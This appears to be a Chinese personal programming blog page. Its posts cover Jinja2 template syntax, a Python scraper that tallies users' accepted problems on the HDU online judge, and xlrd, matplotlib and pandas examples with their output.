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Jinja2 笔记

2月 5, 2018
0 条评论

大部分摘自网上，方便平时查阅【更新ing…】

介绍

Jinja2：Jinja是日本寺庙的意思，并且寺庙的英文是temple和模板的英文template的发音类似。Jinja2是默认的仿Django模板的一个模板引擎，由Flask的作者开发。它速度快，被广泛使用，并且提供了可选的沙箱模板来保证执行环境的安全，它有以下优点：

让前端开发者和后端开发者工作分离。
减少Flask项目代码的耦合性，页面逻辑放在模板中，业务逻辑放在视图函数中，将页面逻辑和业务逻辑解耦有利于代码的维护。
提供了控制语句、继承等高级功能，减少开发的复杂度。

模版

{{ ... }}：装载一个变量，模板渲染的时候，会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}：装载一个控制语句。
{# ... #}：装载一个注释，模板渲染的时候会忽视这中间的值。

变量

在模板中添加变量，可以使用（set）语句。

{% set name='xx' %}

1	{% set name='xx' %}

with语句来创建一个内部的作用域，将set语句放在其中，这样创建的变量只在with代码块中才有效

{% with foo = 42 %}
{{ foo }}
{% endwith %}

{% with foo = 42 %}

{% endwith %}

if语句

{% if kenny.sick %}
Kenny is sick.
{% elif kenny.dead %}
You killed Kenny! You bastard!!!
{% else %}
Kenny looks okay --- so far
{% endif %}

{% if kenny.sick %}

Kenny is sick.

{% elif kenny.dead %}

You killed Kenny! You bastard!!!

{% else %}

Kenny looks okay --- so far

{% endif %}

for语句

{% for user in users %}
{{ user.username|e }}
{% endfor %}

{% for user in users %}

{% endfor %}

遍历字典

{% for key, value in <strong>my_dict.iteritems()</strong> %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}

{% for key, value in <strong>my_dict.iteritems()</strong> %}

<dd>{{ value|e }}</dd>

{% endfor %}

Jinja2中for循环内置常量

loop.index	当前迭代的索引（从1开始）
loop.index0	当前迭代的索引（从0开始）
loop.first	是否是第一次迭代，返回True\/False
loop.last	是否是最后一次迭代，返回True\/False
loop.length	序列的长度

注意：不可以使用continue和break表达式来控制循环的执行。

阅读剩余部分 –

Hduoj用户AC题数统计爬虫

11月 9, 2017
0 条评论

趁着前几天出去比赛的空余时间瞎写完了

一向写python都是现写现查库怎么用

写这个主要是为了班里统计方便，但现在应该用不上了2333

写的挺垃圾，也是第一次搞这个，因为库太好用了感觉自己写的也没啥水平哈哈

其中主要点是判断指定日期的做题AC数

用了下用户实时的提交页面

http://acm.hdu.edu.cn/status.php?first=&pid=&user=aaa&lang=0&status=0

1	http://acm.hdu.edu.cn/status.php?first=&pid=&user=aaa&lang=0&status=0

1.爬下直到指定日期最后所有做题情况

2.判断时间是否符合,顺便学习了下datetime

因为日期是从前往后排所以大于当前日期的跳过，直到遇见最后日期跳出循环
需要注意的就是如果指定日期加之前这个用户没有答题过会造成死循环所以判断下当前是否为最后一页因为get参数没有页数所以就判断first是否重复就ok

3.判断是否ac

4.丢到dict

分享一下渣渣代码

# encoding=utf-8
import requests
import re
import xlrd
import xlwt
from bs4 import BeautifulSoup
import datetime


def save_mysql():
    pass


def save_excel(users, Allsolved, pid, sum):
    book = xlwt.Workbook(encoding='utf-8')  # 表格初始化
    sheet1 = book.add_sheet('sheet1', cell_overwrite_ok=True)
    heads = ['ID', u'指定日期累计AC题数' + '(' + start + 'to' + end + ')', u'总共已AC题数', u'指定日期AC题号']
    print u'\n准备将数据存入表格...'
    ii = 0  # 表格初始化用
    for head in heads:
        sheet1.write(0, ii, head)
        ii += 1
    ID_col = 0
    weekid = 3
    week_solved_col = 1
    solved_col = 2
    row = 1
    sheet1.col(week_solved_col).width = 256 * 20
    for user in users:
        sheet1.write(row, ID_col, user)
        row += 1
    row = 1
    for solved in Allsolved:
        sheet1.write(row, solved_col, solved)
        row += 1
    row = 1
    for wid in pid:
        sheet1.write(row, weekid, wid)
        row += 1
    row = 1
    for wsum in sum:
        sheet1.write(row, week_solved_col, wsum)
        row += 1
    book.save('Acm' + start + 'to' + end + '.xls')
    print u'\n录入成功！'


def run(users):
    All_Solved = []
    ID = []
    SUM = []
    for user in users:
        ########目前已做总题数
        userpages = requests.get("http://acm.hdu.edu.cn/userstatus.php?user=" + user)
        n = re.compile(r'>(.*)</h1>')
        s = re.compile(r'Solved</td><td align=center>([0-9]+)<')
        name = n.search(userpages.text)
        solved = s.search(userpages.text)

        print name.group(1) + " " + solved.group(1)
        All_Solved.append(solved.group(1))
        ########每日统计
        sum = 0
        print user
        first = '99999999'
        run_forever = True
        repid = ['|']  # 防止重复+统计题号
        while run_forever:
            req = requests.get(
                "http://acm.hdu.edu.cn/status.php?first=" + first + "&pid=&user=" + user + "&lang=0&status=0")
            soup = BeautifulSoup(req.text, 'lxml')
            tables = soup.findAll('table')
            tab = tables[3]
            old = []
            new = []
            dict = {'Runid': '123', 'Subtime': '2017', 'Status': 'ac', 'Id': '123'}
            for tr in tab.findAll('tr')[1:]:
                i = 1
                for td in tr.findAll('td')[:4]:
                    if i == 1:
                        dict['Runid'] = td.getText()
                        Runid = td.getText()
                    elif i == 2:
                        dict['Subtime'] = td.getText()
                    elif i == 3:
                        dict['Status'] = td.getText()
                    else:
                        dict['Id'] = td.getText()
                    i += 1
                old.append(dict.copy())
            if first == str(int(Runid) - 1):  # 防止当这个用户这个时间段没做过题的情况(死循环)
                break
            for AoW in old:
                time = datetime.datetime.strptime(AoW['Subtime'][0:-9], '%Y-%m-%d')
                if time <= d2 and time >= d1:
                    ac = 'Accepted'
                    # print AoW
                    if AoW['Status'] == ac:
                        for cfid in repid:
                            if AoW['Id'] != cfid:
                                f = 1
                                # T.append(AoW['Id'])
                            else:  # 如果重复 退出循环
                                f = 0
                                break
                        if f == 1:
                            repid.append(AoW['Id'])  # 防止重复
                            repid.append(' ')
                            new.append(AoW)
                elif time < d1:
                    run_forever = False
                    # break
                else:
                    pass

            ####
            for tt in new:
                print tt
            sum += len(new)

            first = str(int(Runid) - 1)  # 最后一个

        print '------'
        print sum
        print '------'
        ID.append(repid)
        SUM.append(sum)
        # print ID
        # print SUM
        # print SUM
    save_excel(users, All_Solved, ID, SUM)


def main():
    # 读入userID
    book = xlrd.open_workbook('./acmid.xlsx')
    sheet = book.sheet_by_name('sheet1')
    users = sheet.col_values(0)
    print users
    run(users)


if __name__ == '__main__':
    print '日期输入格式：年-月-日'
    start = raw_input("起始日期：")
    end = raw_input("终止日期：")
    d1 = datetime.datetime.strptime(start, '%Y-%m-%d')
    d2 = datetime.datetime.strptime(end, '%Y-%m-%d')
    main()

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# encoding=utf-8

import requests

import re

import xlrd

import xlwt

from bs4 import BeautifulSoup

import datetime

def save_mysql():

pass

def save_excel(users, Allsolved, pid, sum):

book = xlwt.Workbook(encoding='utf-8') # 表格初始化

sheet1 = book.add_sheet('sheet1', cell_overwrite_ok=True)

heads = ['ID', u'指定日期累计AC题数' + '(' + start + 'to' + end + ')', u'总共已AC题数', u'指定日期AC题号']

print u'\n准备将数据存入表格...'

ii = 0 # 表格初始化用

for head in heads:

sheet1.write(0, ii, head)

ii += 1

ID_col = 0

weekid = 3

week_solved_col = 1

solved_col = 2

row = 1

sheet1.col(week_solved_col).width = 256 * 20

for user in users:

sheet1.write(row, ID_col, user)

row += 1

row = 1

for solved in Allsolved:

sheet1.write(row, solved_col, solved)

row += 1

row = 1

for wid in pid:

sheet1.write(row, weekid, wid)

row += 1

row = 1

for wsum in sum:

sheet1.write(row, week_solved_col, wsum)

row += 1

book.save('Acm' + start + 'to' + end + '.xls')

print u'\n录入成功！'

def run(users):

All_Solved = []

ID = []

SUM = []

for user in users:

########目前已做总题数

userpages = requests.get("http://acm.hdu.edu.cn/userstatus.php?user=" + user)

n = re.compile(r'>(.*)</h1>')

s = re.compile(r'Solved</td><td align=center>([0-9]+)<')

name = n.search(userpages.text)

solved = s.search(userpages.text)

print name.group(1) + " " + solved.group(1)

All_Solved.append(solved.group(1))

########每日统计

sum = 0

print user

first = '99999999'

run_forever = True

repid = ['|'] # 防止重复+统计题号

while run_forever:

req = requests.get(

"http://acm.hdu.edu.cn/status.php?first=" + first + "&pid=&user=" + user + "&lang=0&status=0")

soup = BeautifulSoup(req.text, 'lxml')

tables = soup.findAll('table')

tab = tables[3]

old = []

new = []

dict = {'Runid': '123', 'Subtime': '2017', 'Status': 'ac', 'Id': '123'}

for tr in tab.findAll('tr')[1:]:

i = 1

for td in tr.findAll('td')[:4]:

if i == 1:

dict['Runid'] = td.getText()

Runid = td.getText()

elif i == 2:

dict['Subtime'] = td.getText()

elif i == 3:

dict['Status'] = td.getText()

else:

dict['Id'] = td.getText()

i += 1

old.append(dict.copy())

if first == str(int(Runid) - 1): # 防止当这个用户这个时间段没做过题的情况(死循环)

break

for AoW in old:

time = datetime.datetime.strptime(AoW['Subtime'][0:-9], '%Y-%m-%d')

if time <= d2 and time >= d1:

ac = 'Accepted'

# print AoW

if AoW['Status'] == ac:

for cfid in repid:

if AoW['Id'] != cfid:

f = 1

# T.append(AoW['Id'])

else: # 如果重复退出循环

f = 0

break

if f == 1:

repid.append(AoW['Id']) # 防止重复

repid.append(' ')

new.append(AoW)

elif time < d1:

run_forever = False

# break

else:

pass

####

for tt in new:

print tt

sum += len(new)

first = str(int(Runid) - 1) # 最后一个

print '------'

print sum

print '------'

ID.append(repid)

SUM.append(sum)

# print ID

# print SUM

save_excel(users, All_Solved, ID, SUM)

def main():

# 读入userID

book = xlrd.open_workbook('./acmid.xlsx')

sheet = book.sheet_by_name('sheet1')

users = sheet.col_values(0)

print users

run(users)

if __name__ == '__main__':

print '日期输入格式：年-月-日'

start = raw_input("起始日期：")

end = raw_input("终止日期：")

d1 = datetime.datetime.strptime(start, '%Y-%m-%d')

d2 = datetime.datetime.strptime(end, '%Y-%m-%d')

main()

xlrd基本操作并配合matplotlib绘图笔记

8月 3, 2017
0 条评论

一个简单的小例子快速了解如何利用xlrd读取excel并借助plt绘图

//之前代码有误，导致上图显示女生数量与男生一样，代码已改正

#encoding=utf-8
import xlrd
import matplotlib.pylab as plt
from pylab import *
def main():
    book=xlrd.open_workbook('./pdtest.xlsx')
    sheet_name = book.sheet_names()[0]#获得指定索引的sheet名字
    print sheet_name
    sheet=book.sheet_by_name('sheet1')
    rows=sheet.nrows#行数
    cols=sheet.ncols#列数
    print rows,cols
    row_data=sheet.row_values(0)
    col_data=sheet.col_values(0)
    print row_data,col_data
    cell=sheet.cell_value(1,2)
    print cell
    for i in range(rows):#每行数据
        print sheet.row_values(i)
    col1=sheet.col_values(1)[1:]#去掉列名称 打印指定列
    print col1
    k = 0
    for i in col1:
        print int(i)
        if int(i)==int('2'):
            k+=1
    print k
    book1=xlrd.open_workbook('./reg.xls')
    #sheet_name1=book1.sheet_names()[0]
    #print sheet_name1
    list=book1.sheets()[0]
    nrows=list.nrows
    print nrows
    print "------------------"
    col2=list.col_values(4)[1:]
    g = 0
    b = 0
    for i in col2:
        if i == u"\u5973":
            g=g+1

        if i == u"\u7537":
            b+=1

    print g,b

    mpl.rcParams['font.sans-serif'] = ['SimHei']
    mpl.rcParams['axes.unicode_minus'] = False
    plt.figure(1)
    plt.bar(left=0,height=b,width=0.35,align="center",color="b",label="boy")
    plt.bar(left=0.5,height=g,width=0.35,align="center",color="y",label="girl")
    plt.title(u"2017太原市中考性别分布[柱状图]")
    plt.xlabel(u"性别")
    plt.ylabel(u"人数")
    plt.xticks((0, 0.5), (u"男", u"女"))
    plt.text(0, b+0.05, "%d" % b, ha="center", va="bottom")
    plt.text(0.5, g+0.05, "%d" % g, ha="center", va="bottom")
    #图中有误，之前把代码里面的参数g写成了b
    #plt.legend(loc="upper left")
    plt.show()


if __name__ == '__main__':
    main()

#encoding=utf-8

import xlrd

import matplotlib.pylab as plt

from pylab import *

def main():

book=xlrd.open_workbook('./pdtest.xlsx')

sheet_name = book.sheet_names()[0]#获得指定索引的sheet名字

print sheet_name

sheet=book.sheet_by_name('sheet1')

rows=sheet.nrows#行数

cols=sheet.ncols#列数

print rows,cols

row_data=sheet.row_values(0)

col_data=sheet.col_values(0)

print row_data,col_data

cell=sheet.cell_value(1,2)

print cell

for i in range(rows):#每行数据

print sheet.row_values(i)

col1=sheet.col_values(1)[1:]#去掉列名称打印指定列

print col1

k = 0

for i in col1:

print int(i)

if int(i)==int('2'):

k+=1

print k

book1=xlrd.open_workbook('./reg.xls')

#sheet_name1=book1.sheet_names()[0]

#print sheet_name1

list=book1.sheets()[0]

nrows=list.nrows

print nrows

print "------------------"

col2=list.col_values(4)[1:]

g = 0

b = 0

for i in col2:

if i == u"\u5973":

g=g+1

if i == u"\u7537":

b+=1

print g,b

mpl.rcParams['font.sans-serif'] = ['SimHei']

mpl.rcParams['axes.unicode_minus'] = False

plt.figure(1)

plt.bar(left=0,height=b,width=0.35,align="center",color="b",label="boy")

plt.bar(left=0.5,height=g,width=0.35,align="center",color="y",label="girl")

plt.title(u"2017太原市中考性别分布[柱状图]")

plt.xlabel(u"性别")

plt.ylabel(u"人数")

plt.xticks((0, 0.5), (u"男", u"女"))

plt.text(0, b+0.05, "%d" % b, ha="center", va="bottom")

plt.text(0.5, g+0.05, "%d" % g, ha="center", va="bottom")

#图中有误，之前把代码里面的参数g写成了b

#plt.legend(loc="upper left")

plt.show()

if __name__ == '__main__':

main()

output:

sheet1
5 3
[u'', u'man', u'woman'] [u'', u'a', u'b', u'c', u'd']
1.0
[u'', u'man', u'woman']
[u'a', 2.0, 1.0]
[u'b', 6.0, 3.0]
[u'c', 2.0, 4.0]
[u'd', 1.0, 6.0]
[2.0, 6.0, 2.0, 1.0]
2
6
2
1
2
41609
------------------
20445 21163

sheet1

5 3

[u'', u'man', u'woman'] [u'', u'a', u'b', u'c', u'd']

1.0

[u'', u'man', u'woman']

[u'a', 2.0, 1.0]

[u'b', 6.0, 3.0]

[u'c', 2.0, 4.0]

[u'd', 1.0, 6.0]

[2.0, 6.0, 2.0, 1.0]

41609

------------------

20445 21163

Pandas基本操作笔记

8月 1, 2017
0 条评论

Python Data Analysis Library 或 pandas 是基于NumPy 的一种工具，该工具是为了解决数据分析任务而创建的。Pandas 纳入了大量库和一些标准的数据模型，提供了高效地操作大型数据集所需的工具。pandas提供了大量能使我们快速便捷地处理数据的函数和方法。你很快就会发现，它是使Python成为强大而高效的数据分析环境的重要因素之一。

#encoding=utf-8
import numpy as np
import pandas as pd
def main():
    #生成表格
    dates=pd.date_range("20170801",periods=8)
    df=pd.DataFrame(np.random.randn(8,5),index=dates,columns=list("ABCDE"))#生成框架
    print df
    dff=pd.DataFrame({"A":np.random.randint(1,10,8),"B":pd.date_range("20170707",periods=8)})
    print dff

    #基本操作
    print df.head(3)#打印前三行
    print df.tail(3)#打印后三行
    print df.index
    print df.values
    print df.T#转置
    print df.sort_values("C")#排序C列 升序
    print df.sort_index(axis=1,ascending=False)#用属性值排序 降序
    print df.describe()#数据的相关信息
    print df["A"]#切片
    print df[:3]
    print df["20170801":"20170806"]
    print df.loc[dates[0]]
    print df.loc["20170802":"20170806",["B","D"]]
    print df.at[dates[0],"C"]
    print df.iloc[1:3,2:4]
    print df.iloc[1,4]#2行第5列
    print df[df.B>0]
    print df[df<0]
    print df[df["E"].isin([1,2])]

    #基本设置
    sl=pd.Series(list(range(10,18)),index=pd.date_range("20170801",periods=8))
    print sl
    df["F"]=sl
    print df
    df.at[dates[0],"A"]=0
    print df
    df.iat[1,4]=666
    df.loc[:,"D"]=np.array([4]*len(df))
    print df
    df2=df.copy()#拷贝
    df2[df2<0]=-df2#负数变为正数
    print df2


if __name__ == '__main__':
    main()

#encoding=utf-8

import numpy as np

import pandas as pd

def main():

#生成表格

dates=pd.date_range("20170801",periods=8)

df=pd.DataFrame(np.random.randn(8,5),index=dates,columns=list("ABCDE"))#生成框架

print df

dff=pd.DataFrame({"A":np.random.randint(1,10,8),"B":pd.date_range("20170707",periods=8)})

print dff

#基本操作

print df.head(3)#打印前三行

print df.tail(3)#打印后三行

print df.index

print df.values

print df.T#转置

print df.sort_values("C")#排序C列升序

print df.sort_index(axis=1,ascending=False)#用属性值排序降序

print df.describe()#数据的相关信息

print df["A"]#切片

print df[:3]

print df["20170801":"20170806"]

print df.loc[dates[0]]

print df.loc["20170802":"20170806",["B","D"]]

print df.at[dates[0],"C"]

print df.iloc[1:3,2:4]

print df.iloc[1,4]#2行第5列

print df[df.B>0]

print df[df<0]

print df[df["E"].isin([1,2])]

#基本设置

sl=pd.Series(list(range(10,18)),index=pd.date_range("20170801",periods=8))

print sl

df["F"]=sl

print df

df.at[dates[0],"A"]=0

print df

df.iat[1,4]=666

df.loc[:,"D"]=np.array([4]*len(df))

print df

df2=df.copy()#拷贝

df2[df2<0]=-df2#负数变为正数

print df2

if __name__ == '__main__':

main()

output:

                   A         B         C         D         E
2017-08-01  1.075245 -0.605058  0.712755  2.418159 -0.028940
2017-08-02 -1.513320 -0.517082  1.363238  0.618522 -0.450400
2017-08-03 -2.267711 -2.235939  2.288919  2.608362 -1.181633
2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884
2017-08-05 -0.231365 -0.488244  1.757364 -0.967584 -1.448575
2017-08-06  0.377513  0.051755  0.322172 -0.462239  0.823563
2017-08-07  1.009144 -0.670553  0.262810 -0.865274 -0.721550
2017-08-08 -0.257351  0.984785 -0.297281 -0.230398  0.697477
   A          B
0  9 2017-07-07
1  3 2017-07-08
2  3 2017-07-09
3  6 2017-07-10
4  6 2017-07-11
5  4 2017-07-12
6  5 2017-07-13
7  6 2017-07-14
                   A         B         C         D         E
2017-08-01  1.075245 -0.605058  0.712755  2.418159 -0.028940
2017-08-02 -1.513320 -0.517082  1.363238  0.618522 -0.450400
2017-08-03 -2.267711 -2.235939  2.288919  2.608362 -1.181633
                   A         B         C         D         E
2017-08-06  0.377513  0.051755  0.322172 -0.462239  0.823563
2017-08-07  1.009144 -0.670553  0.262810 -0.865274 -0.721550
2017-08-08 -0.257351  0.984785 -0.297281 -0.230398  0.697477
DatetimeIndex(['2017-08-01', '2017-08-02', '2017-08-03', '2017-08-04',
               '2017-08-05', '2017-08-06', '2017-08-07', '2017-08-08'],
              dtype='datetime64[ns]', freq='D')
[[ 1.07524464 -0.60505755  0.71275536  2.41815902 -0.02894002]
 [-1.51331977 -0.51708246  1.36323759  0.6185221  -0.45040032]
 [-2.26771071 -2.23593917  2.28891947  2.60836214 -1.1816333 ]
 [-0.27608484 -1.13021474 -0.12282251 -0.54247504 -0.33188383]
 [-0.23136532 -0.48824379  1.75736371 -0.96758439 -1.44857541]
 [ 0.37751303  0.05175454  0.32217176 -0.46223914  0.82356261]
 [ 1.00914409 -0.67055311  0.26280966 -0.86527427 -0.72155023]
 [-0.25735124  0.98478455 -0.29728085 -0.23039814  0.69747694]]
   2017-08-01  2017-08-02  2017-08-03  2017-08-04  2017-08-05  2017-08-06  \
A    1.075245   -1.513320   -2.267711   -0.276085   -0.231365    0.377513   
B   -0.605058   -0.517082   -2.235939   -1.130215   -0.488244    0.051755   
C    0.712755    1.363238    2.288919   -0.122823    1.757364    0.322172   
D    2.418159    0.618522    2.608362   -0.542475   -0.967584   -0.462239   
E   -0.028940   -0.450400   -1.181633   -0.331884   -1.448575    0.823563   

   2017-08-07  2017-08-08  
A    1.009144   -0.257351  
B   -0.670553    0.984785  
C    0.262810   -0.297281  
D   -0.865274   -0.230398  
E   -0.721550    0.697477  
                   A         B         C         D         E
2017-08-08 -0.257351  0.984785 -0.297281 -0.230398  0.697477
2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884
2017-08-07  1.009144 -0.670553  0.262810 -0.865274 -0.721550
2017-08-06  0.377513  0.051755  0.322172 -0.462239  0.823563
2017-08-01  1.075245 -0.605058  0.712755  2.418159 -0.028940
2017-08-02 -1.513320 -0.517082  1.363238  0.618522 -0.450400
2017-08-05 -0.231365 -0.488244  1.757364 -0.967584 -1.448575
2017-08-03 -2.267711 -2.235939  2.288919  2.608362 -1.181633
                   E         D         C         B         A
2017-08-01 -0.028940  2.418159  0.712755 -0.605058  1.075245
2017-08-02 -0.450400  0.618522  1.363238 -0.517082 -1.513320
2017-08-03 -1.181633  2.608362  2.288919 -2.235939 -2.267711
2017-08-04 -0.331884 -0.542475 -0.122823 -1.130215 -0.276085
2017-08-05 -1.448575 -0.967584  1.757364 -0.488244 -0.231365
2017-08-06  0.823563 -0.462239  0.322172  0.051755  0.377513
2017-08-07 -0.721550 -0.865274  0.262810 -0.670553  1.009144
2017-08-08  0.697477 -0.230398 -0.297281  0.984785 -0.257351
              A         B         C         D         E
count  8.000000  8.000000  8.000000  8.000000  8.000000
mean  -0.260491 -0.576319  0.785894  0.322134 -0.330243
std    1.158991  0.919133  0.928070  1.436732  0.812523
min   -2.267711 -2.235939 -0.297281 -0.967584 -1.448575
25%   -0.585394 -0.785469  0.166402 -0.623175 -0.836571
50%   -0.244358 -0.561070  0.517464 -0.346319 -0.391142
75%    0.535421 -0.353244  1.461769  1.068431  0.152664
max    1.075245  0.984785  2.288919  2.608362  0.823563
2017-08-01    1.075245
2017-08-02   -1.513320
2017-08-03   -2.267711
2017-08-04   -0.276085
2017-08-05   -0.231365
2017-08-06    0.377513
2017-08-07    1.009144
2017-08-08   -0.257351
Freq: D, Name: A, dtype: float64
                   A         B         C         D         E
2017-08-01  1.075245 -0.605058  0.712755  2.418159 -0.028940
2017-08-02 -1.513320 -0.517082  1.363238  0.618522 -0.450400
2017-08-03 -2.267711 -2.235939  2.288919  2.608362 -1.181633
                   A         B         C         D         E
2017-08-01  1.075245 -0.605058  0.712755  2.418159 -0.028940
2017-08-02 -1.513320 -0.517082  1.363238  0.618522 -0.450400
2017-08-03 -2.267711 -2.235939  2.288919  2.608362 -1.181633
2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884
2017-08-05 -0.231365 -0.488244  1.757364 -0.967584 -1.448575
2017-08-06  0.377513  0.051755  0.322172 -0.462239  0.823563
A    1.075245
B   -0.605058
C    0.712755
D    2.418159
E   -0.028940
Name: 2017-08-01 00:00:00, dtype: float64
                   B         D
2017-08-02 -0.517082  0.618522
2017-08-03 -2.235939  2.608362
2017-08-04 -1.130215 -0.542475
2017-08-05 -0.488244 -0.967584
2017-08-06  0.051755 -0.462239
0.71275536229
                   C         D
2017-08-02  1.363238  0.618522
2017-08-03  2.288919  2.608362
-0.45040032497
                   A         B         C         D         E
2017-08-06  0.377513  0.051755  0.322172 -0.462239  0.823563
2017-08-08 -0.257351  0.984785 -0.297281 -0.230398  0.697477
                   A         B         C         D         E
2017-08-01       NaN -0.605058       NaN       NaN -0.028940
2017-08-02 -1.513320 -0.517082       NaN       NaN -0.450400
2017-08-03 -2.267711 -2.235939       NaN       NaN -1.181633
2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884
2017-08-05 -0.231365 -0.488244       NaN -0.967584 -1.448575
2017-08-06       NaN       NaN       NaN -0.462239       NaN
2017-08-07       NaN -0.670553       NaN -0.865274 -0.721550
2017-08-08 -0.257351       NaN -0.297281 -0.230398       NaN
Empty DataFrame
Columns: [A, B, C, D, E]
Index: []
2017-08-01    10
2017-08-02    11
2017-08-03    12
2017-08-04    13
2017-08-05    14
2017-08-06    15
2017-08-07    16
2017-08-08    17
Freq: D, dtype: int64
                   A         B         C         D         E   F
2017-08-01  1.075245 -0.605058  0.712755  2.418159 -0.028940  10
2017-08-02 -1.513320 -0.517082  1.363238  0.618522 -0.450400  11
2017-08-03 -2.267711 -2.235939  2.288919  2.608362 -1.181633  12
2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884  13
2017-08-05 -0.231365 -0.488244  1.757364 -0.967584 -1.448575  14
2017-08-06  0.377513  0.051755  0.322172 -0.462239  0.823563  15
2017-08-07  1.009144 -0.670553  0.262810 -0.865274 -0.721550  16
2017-08-08 -0.257351  0.984785 -0.297281 -0.230398  0.697477  17
                   A         B         C         D         E   F
2017-08-01  0.000000 -0.605058  0.712755  2.418159 -0.028940  10
2017-08-02 -1.513320 -0.517082  1.363238  0.618522 -0.450400  11
2017-08-03 -2.267711 -2.235939  2.288919  2.608362 -1.181633  12
2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884  13
2017-08-05 -0.231365 -0.488244  1.757364 -0.967584 -1.448575  14
2017-08-06  0.377513  0.051755  0.322172 -0.462239  0.823563  15
2017-08-07  1.009144 -0.670553  0.262810 -0.865274 -0.721550  16
2017-08-08 -0.257351  0.984785 -0.297281 -0.230398  0.697477  17
                   A         B         C  D           E   F
2017-08-01  0.000000 -0.605058  0.712755  4   -0.028940  10
2017-08-02 -1.513320 -0.517082  1.363238  4  666.000000  11
2017-08-03 -2.267711 -2.235939  2.288919  4   -1.181633  12
2017-08-04 -0.276085 -1.130215 -0.122823  4   -0.331884  13
2017-08-05 -0.231365 -0.488244  1.757364  4   -1.448575  14
2017-08-06  0.377513  0.051755  0.322172  4    0.823563  15
2017-08-07  1.009144 -0.670553  0.262810  4   -0.721550  16
2017-08-08 -0.257351  0.984785 -0.297281  4    0.697477  17
                   A         B         C  D           E   F
2017-08-01  0.000000  0.605058  0.712755  4    0.028940  10
2017-08-02  1.513320  0.517082  1.363238  4  666.000000  11
2017-08-03  2.267711  2.235939  2.288919  4    1.181633  12
2017-08-04  0.276085  1.130215  0.122823  4    0.331884  13
2017-08-05  0.231365  0.488244  1.757364  4    1.448575  14
2017-08-06  0.377513  0.051755  0.322172  4    0.823563  15
2017-08-07  1.009144  0.670553  0.262810  4    0.721550  16
2017-08-08  0.257351  0.984785  0.297281  4    0.697477  17

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A B C D E

2017-08-01 1.075245 -0.605058 0.712755 2.418159 -0.028940

2017-08-02 -1.513320 -0.517082 1.363238 0.618522 -0.450400

2017-08-03 -2.267711 -2.235939 2.288919 2.608362 -1.181633

2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884

2017-08-05 -0.231365 -0.488244 1.757364 -0.967584 -1.448575

2017-08-06 0.377513 0.051755 0.322172 -0.462239 0.823563

2017-08-07 1.009144 -0.670553 0.262810 -0.865274 -0.721550

2017-08-08 -0.257351 0.984785 -0.297281 -0.230398 0.697477

A B

0 9 2017-07-07

1 3 2017-07-08

2 3 2017-07-09

3 6 2017-07-10

4 6 2017-07-11

5 4 2017-07-12

6 5 2017-07-13

7 6 2017-07-14

A B C D E

2017-08-01 1.075245 -0.605058 0.712755 2.418159 -0.028940

2017-08-02 -1.513320 -0.517082 1.363238 0.618522 -0.450400

2017-08-03 -2.267711 -2.235939 2.288919 2.608362 -1.181633

A B C D E

2017-08-06 0.377513 0.051755 0.322172 -0.462239 0.823563

2017-08-07 1.009144 -0.670553 0.262810 -0.865274 -0.721550

2017-08-08 -0.257351 0.984785 -0.297281 -0.230398 0.697477

DatetimeIndex(['2017-08-01', '2017-08-02', '2017-08-03', '2017-08-04',

'2017-08-05', '2017-08-06', '2017-08-07', '2017-08-08'],

dtype='datetime64[ns]', freq='D')

[[ 1.07524464 -0.60505755 0.71275536 2.41815902 -0.02894002]

[-1.51331977 -0.51708246 1.36323759 0.6185221 -0.45040032]

[-2.26771071 -2.23593917 2.28891947 2.60836214 -1.1816333 ]

[-0.27608484 -1.13021474 -0.12282251 -0.54247504 -0.33188383]

[-0.23136532 -0.48824379 1.75736371 -0.96758439 -1.44857541]

[ 0.37751303 0.05175454 0.32217176 -0.46223914 0.82356261]

[ 1.00914409 -0.67055311 0.26280966 -0.86527427 -0.72155023]

[-0.25735124 0.98478455 -0.29728085 -0.23039814 0.69747694]]

2017-08-01 2017-08-02 2017-08-03 2017-08-04 2017-08-05 2017-08-06 \

A 1.075245 -1.513320 -2.267711 -0.276085 -0.231365 0.377513

B -0.605058 -0.517082 -2.235939 -1.130215 -0.488244 0.051755

C 0.712755 1.363238 2.288919 -0.122823 1.757364 0.322172

D 2.418159 0.618522 2.608362 -0.542475 -0.967584 -0.462239

E -0.028940 -0.450400 -1.181633 -0.331884 -1.448575 0.823563

2017-08-07 2017-08-08

A 1.009144 -0.257351

B -0.670553 0.984785

C 0.262810 -0.297281

D -0.865274 -0.230398

E -0.721550 0.697477

A B C D E

2017-08-08 -0.257351 0.984785 -0.297281 -0.230398 0.697477

2017-08-04 -0.276085 -1.130215 -0.122823 -0.542475 -0.331884

2017-08-07 1.009144 -0.670553 0.262810 -0.865274 -0.721550

2017-08-06 0.377513 0.051755 0.322172 -0.462239 0.823563

2017-08-01 1.075245 -0.605058 0.712755 2.418159 -0.028940

2017-08-02 -1.513320 -0.517082 1.363238 0.618522 -0.450400

2017-08-05 -0.231365 -0.488244 1.757364 -0.967584 -1.448575

2017-08-03 -2.267711 -2.235939 2.288919 2.608362 -1.181633

E D C B A

2017-08-01 -0.028940 2.418159 0.712755 -0.605058 1.075245

2017-08-02 -0.450400 0.618522 1.363238 -0.517082 -1.513320

2017-08-03 -1.181633 2.608362 2.288919 -2.235939 -2.267711

2017-08-04 -0.331884 -0.542475 -0.122823 -1.130215 -0.276085

2017-08-05 -1.448575 -0.967584 1.757364 -0.488244 -0.231365

2017-08-06 0.823563 -0.462239 0.322172 0.051755 0.377513

2017-08-07 -0.721550 -0.865274 0.262810 -0.670553 1.009144

2017-08-08 0.697477 -0.230398 -0.297281 0.984785 -0.257351

A B C D E

count 8.000000 8.000000 8.000000 8.000000 8.000000

mean -0.260491 -0.576319 0.785894 0.322134 -0.330243

std 1.158991 0.919133 0.928070 1.436732 0.812523

min -2.267711 -2.235939 -0.297281 -0.967584 -1.448575

25% -0.585394 -0.785469 0.166402 -0.623175 -0.836571

50% -0.244358 -0.561070 0.517464 -0.346319 -0.391142

75% 0.535421 -0.353244 1.461769 1.068431 0.152664

max 1.075245 0.984785 2.288919 2.608362 0.823563

2017-08-01 1.075245

2017-08-02 -1.513320

2017-08-03 -2.267711

2017-08-04 -0.276085

2017-08-05 -0.231365

